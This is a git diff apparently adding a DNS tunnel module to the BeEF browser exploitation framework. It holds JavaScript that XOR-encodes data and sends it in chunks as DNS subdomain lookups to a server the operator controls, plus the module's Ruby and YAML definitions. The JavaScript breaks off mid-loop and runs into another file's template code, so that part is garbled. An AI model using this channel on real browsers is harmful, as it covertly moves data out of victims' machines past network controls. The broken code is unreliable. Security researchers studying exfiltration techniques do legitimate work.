diff --git a/core/main/client/net/dns.js b/core/main/client/net/dns.js new file mode 100644 index 000000000..9c591f9e7 --- /dev/null +++ b/core/main/client/net/dns.js @@ -0,0 +1,82 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/*! + * @literal object: beef.net.dns + * + * request object structure: + * + msgId: {Integer} Unique message ID for the request. + * + domain: {String} Remote domain to retrieve the data. + * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED + * + callback: {Function} Callback function to receive the number of requests sent. + */ + +beef.net.dns = { + + handler: "dns", + + send: function(msgId, messageString, domain, wait, callback) { + + var dom = document.createElement('b'); + + // DNS settings + var max_domain_length = 255-5-5-5-5-5; + var max_segment_length = max_domain_length - domain.length; + + // splits strings into chunks + String.prototype.chunk = function(n) { + if (typeof n=='undefined') n=100; + return this.match(RegExp('.{1,'+n+'}','g')); + }; + + // XORs a string + xor_encrypt = function(str, key) { + var result=""; + for(i=0;i', <%= @command_id %>, 'dns_requests='+num) } ); + +}); + diff --git a/modules/debug/dns_tunnel/config.yaml b/modules/debug/dns_tunnel/config.yaml new file mode 100644 index 000000000..7fa630972 --- /dev/null +++ b/modules/debug/dns_tunnel/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + dns_tunnel: + enable: true + category: "Debug" + name: "DNS Tunnel" + description: "Sends data over DNS to a server which accepts wildcard subdomains." + authors: ["bcoles"] + target: + working: "All" diff --git a/modules/debug/dns_tunnel/module.rb b/modules/debug/dns_tunnel/module.rb new file mode 100644 index 000000000..b01b0db84 --- /dev/null +++ b/modules/debug/dns_tunnel/module.rb @@ -0,0 +1,35 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Dns_tunnel < BeEF::Core::Command + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + + return [ + {'name' => 'domain', 'ui_label'=>'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host }, + {'name' => 'message', 'ui_label'=>'Message', 'type' => 'textarea', 'value' =>'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac orci. In congue nunc vitae enim pharetra eleifend.', 'width' => '400px', 'height' => '300px'}, +# {'name' => 'wait', 'ui_label' => 'Wait between requests (ms)', 'value' => '1000', 'width'=>'100px' } + ] + end + + def post_execute + content = {} + content['dns_requests'] = @datastore['dns_requests'] + save content + end + +end